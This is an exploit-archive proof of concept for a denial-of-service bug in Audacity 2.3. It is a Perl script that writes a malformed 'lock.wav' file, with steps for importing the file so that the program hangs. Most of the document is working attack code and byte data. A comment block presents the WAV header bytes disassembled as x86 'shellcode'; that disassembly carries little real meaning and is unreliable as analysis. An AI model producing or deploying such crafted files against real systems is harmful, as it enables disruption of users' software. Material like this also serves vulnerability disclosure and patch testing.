AudaCity 2.3 Denial Of Service

`# Exploit Title: AudaCity 2.3 - Denial of Service (PoC)  
# Author: Kagan Capar  
# Discovery Date: 2018-10-19  
# Software Link: https://www.fosshub.com/Audacity.html  
# Vendor Homepage : https://www.audacityteam.org  
# Tested Version: 2.3  
# Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)  
# other version should be affected  
  
# Steps to Reproduce: Run the perl exploit script, it will create a new  
# file with the name "lock.wav". Open Audatcity.exe  
# Go to File > Open > Import > Select "lock.wav file"   
# you will see a locking on software.  
  
# ! /usr/bin/perl  
  
# Dump of assembler code for function data:  
# 0x0000000000004040 <+0>: push %rdx  
# 0x0000000000004041 <+1>: rex.WB  
# 0x0000000000004042 <+2>: rex.RX  
# 0x0000000000004043 <+3>: rex.RX retq $0x158  
# 0x0000000000004047 <+7>: add %dl,0x41(%rdi)  
# 0x000000000000404a <+10>: push %rsi  
# 0x000000000000404b <+11>: rex.RB  
# 0x000000000000404c <+12>: rex.R  
# 0x000000000000404d <+13>: rex.R  
# 0x000000000000404e <+14>: rex.R  
# 0x000000000000404f <+15>: rex.R clc   
# 0x0000000000004051 <+17>: (bad)   
# 0x0000000000004052 <+18>: (bad)   
# 0x0000000000004053 <+19>: incl (%rcx)  
# 0x0000000000004055 <+21>: add %al,(%rcx)  
# 0x0000000000004057 <+23>: add %ah,(%rdx)  
# 0x0000000000004059 <+25>: push %rsi  
# 0x000000000000405a <+26>: add %al,(%rax)  
# 0x000000000000405c <+28>: rex.R lods %ds:(%rsi),%al  
# 0x000000000000405e <+30>: add %al,(%rax)  
# 0x0000000000004060 <+32>: add (%rax),%al  
# 0x0000000000004062 <+34>: adc %al,(%rax)  
# 0x0000000000004064 <+36>: add %al,(%rax)  
# 0x0000000000004066 <+38>: data16 (bad)   
# 0x0000000000004068 <+40>: movslq 0x0(%rsp,%rax,1),%esi  
# 0x000000000000406c <+44>: add %al,(%rax)  
# 0x000000000000406e <+46>: rex.W lods %ds:(%rsi),%al  
# 0x0000000000004070 <+48>: add %al,(%rax)  
# 0x0000000000004072 <+50>: fs (bad)   
# 0x0000000000004074 <+52>: je 0x40d7 <shellcode+151>  
# 0x0000000000004076 <+54>: nop  
# 0x0000000000004077 <+55>: pop %rax  
# 0x0000000000004078 <+56>: add %eax,(%rax)  
# 0x000000000000407a <+58>: add %al,(%rax)  
# 0x000000000000407c <+60>: add %al,(%rax)  
# 0x000000000000407e <+62>: add %al,(%rax)  
# 0x0000000000004080 <+64>: add %al,(%rax)  
# 0x0000000000004082 <+66>: add %al,(%rax)  
# 0x0000000000004084 <+68>: add %al,(%rax)  
# 0x0000000000004086 <+70>: (bad)   
# 0x0000000000004087 <+71>: incl (%rax)  
# 0x0000000000004089 <+73>: add %al,(%rax)  
# 0x000000000000408b <+75>: add %bh,%bh  
# 0x000000000000408d <+77>: incl (%rax)  
# 0x000000000000408f <+79>: add %bh,%bh  
# 0x0000000000004091 <+81>: incl (%rax)  
# 0x0000000000004093 <+83>: add %bh,%bh  
# 0x0000000000004095 <+85>: incl (%rax)  
# 0x0000000000004097 <+87>: add %bh,%bh  
# 0x0000000000004099 <+89>: incl (%rax)  
# 0x000000000000409b <+91>: add %bh,%bh  
  
open(code, ">lock.wav");  
binmode(code);  
$data =   
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .  
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .  
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .  
"\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .  
"\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .  
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .  
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .  
"\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .  
"\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .  
"\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .  
"\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .  
"\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .  
"\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .  
"\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .  
"\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .  
"\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .  
"\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .  
"\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .  
"\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .  
"\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .  
"\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .  
"\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .  
"\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00";  
  
print code $data;  
close(code);  
  
`